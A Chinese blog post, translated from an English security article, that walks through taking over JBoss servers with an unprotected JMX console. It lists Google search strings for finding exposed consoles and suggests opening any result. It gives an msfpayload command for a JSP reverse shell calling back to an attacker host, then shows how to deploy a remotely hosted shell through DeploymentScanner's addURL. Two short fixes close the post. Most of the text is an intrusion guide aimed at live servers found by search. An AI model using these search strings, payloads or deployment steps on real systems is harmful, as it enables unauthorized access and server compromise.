首页 > Web安全 > JBoss默认身份验证漏洞利用及修复
2012
08-22

JBoss默认身份验证漏洞利用及修复

JBoss应用服务器是一个开源的基于Java EE应用服务器。 JBoss被广泛使用,许多组织的web服务器都是由JBoss部署的。JBoss已经爆出过很多漏洞和错误,本文将分享JBoss应用程序默认身份验证漏洞的利用和修复.

如果JBoss配置不正确,就会允许攻击者执行各种恶意活动。由于JMX在通常情况下可以通过8080端口进行远程访问,黑客和恶意用户可以通过JBoss控制台功能中的DeploymentScanner来部署上传自己的WAR文件和JSP shells.

以下分享一些Google搜索关键词,能够搜索到Jmx控制台和JBoss的一些相关信息.

1.> intitle:”jboss management console” “application server” version inurl:”web-console”
2.> intitle:”JBoss Management Console – Server Information” “application server” inurl:”web-console” OR inurl:”jmx-console”
3.> inurl:jmx-console/HtmlAdaptor

JBoss默认身份验证漏洞利用及修复 - 第1张  | 阿德马Web安全

因为大多数的JBoss服务器的JMX控制台配置的是默认身份验证,是没有限制普通访问者访问JMX控制台和WEB管理界面的,允许远程攻击者直接访问绕过身份认证和管理访问权限。

很多漏洞利用可能需要用到metasploit,namp,burp suite,nessus等,但是在本文入侵JBoss应用服务器的过程只需要一个JSP shell和一款浏览器.在Google中搜索:inurl:jmx-console/HtmlAdaptor,在结果列表中随便点开一个URL,如下图所示:

JBoss默认身份验证漏洞利用及修复 - 第2张  | 阿德马Web安全

 

JBoss默认身份验证漏洞利用及修复 - 第3张  | 阿德马Web安全

 

接下来需要一个JSP shell,可以在网上搜索下载,或者使用metasploit生成一个jsp shell,相对一般的,metasploit生成的JSP shell更加稳定一些 .使用metasploit创建一个JSP shell,命令如下:

#msfpayload java/jsp_shell_reverse_tcp LHOST=192.168.1.1 LPORT=8080 R > infosec.jsp

一旦shell被上传到服务器,通过打开一个msfconsole访问上传的shell,在msfconsole将会看到一个新的会话.本次实例将使用以下Jsp shell.

JBoss默认身份验证漏洞利用及修复 - 第4张  | 阿德马Web安全

为了部署我们的jsp shell,需要用到JMX控制台中的DeploymentScanner,添加一个包含我们Jsp shell的URL.使用addURL()命令,可以 从一个URL添加一个新的应用或者shell到JBoss应用服务器.从这个URL,JBoss将get下来一个应用或者shell,然后只需要等待DeploymentScanner部署文件,部署完成之后我们就可以访问目标服务器上的Jsp shell.我们将自己的Jsp shell上传到一个服务器,比如:http://www.nxadmin.com/cmd/cmd.jsp. 接下来,我们需要将它部署,因此,我们将访问JMX控制台的DeploymentScanner.如下图:

JBoss默认身份验证漏洞利用及修复 - 第5张  | 阿德马Web安全

接下来我们将在jmx控制台中添加我们的shell的URL.

JBoss默认身份验证漏洞利用及修复 - 第6张  | 阿德马Web安全

URL被添加之后,我们将调用该函数。在上面的图中可以看出,我们有一个按钮来调用该函数。完成之后,应用程序就会出现一个成功操作的消息。

JBoss默认身份验证漏洞利用及修复 - 第7张  | 阿德马Web安全

过几分钟,shell将会被部署在服务器上,然后我们就可以访问我们的JSP Shell,通过JSP shell可以执行一些命令,如图:

JBoss默认身份验证漏洞利用及修复 - 第8张  | 阿德马Web安全

JBoss的默认身份验证漏洞通常情况下都会被管理员忽略掉,但是后果往往是致命的.攻击者可以通过这个漏洞轻松获取服务器的权限,同时还可能有以下危害:

获取对敏感信息的访问;使用服务器部署恶意软件;使用服务器进行网络犯罪活动;使用服务器来托管恶意内容;损害到连接到服务器的其它机器.

修复建议:

1.升级JBoss到最新的版本.

2.删除 $JBOSS_HOME/[server]/all/deploy 和$JBOSS_HOME/[server]/default/deploy下的Jmx-console.war 、Web-console.war这两个.War文件来禁止对Jmx-console和Web-console的访问.

 

参考PDF文档:http://www.nxadmin.com/tools/JBOSS-Exploitation.pdf

原文URL:http://resources.infosecinstitute.com/jboss-exploitation/

本文由阿德马翻译自国外网站,转载请注明出处,谢谢.

最后编辑:
作者:admin
这个作者貌似有点懒,什么都没有留下。

留下一个回复

你的email不会被公开。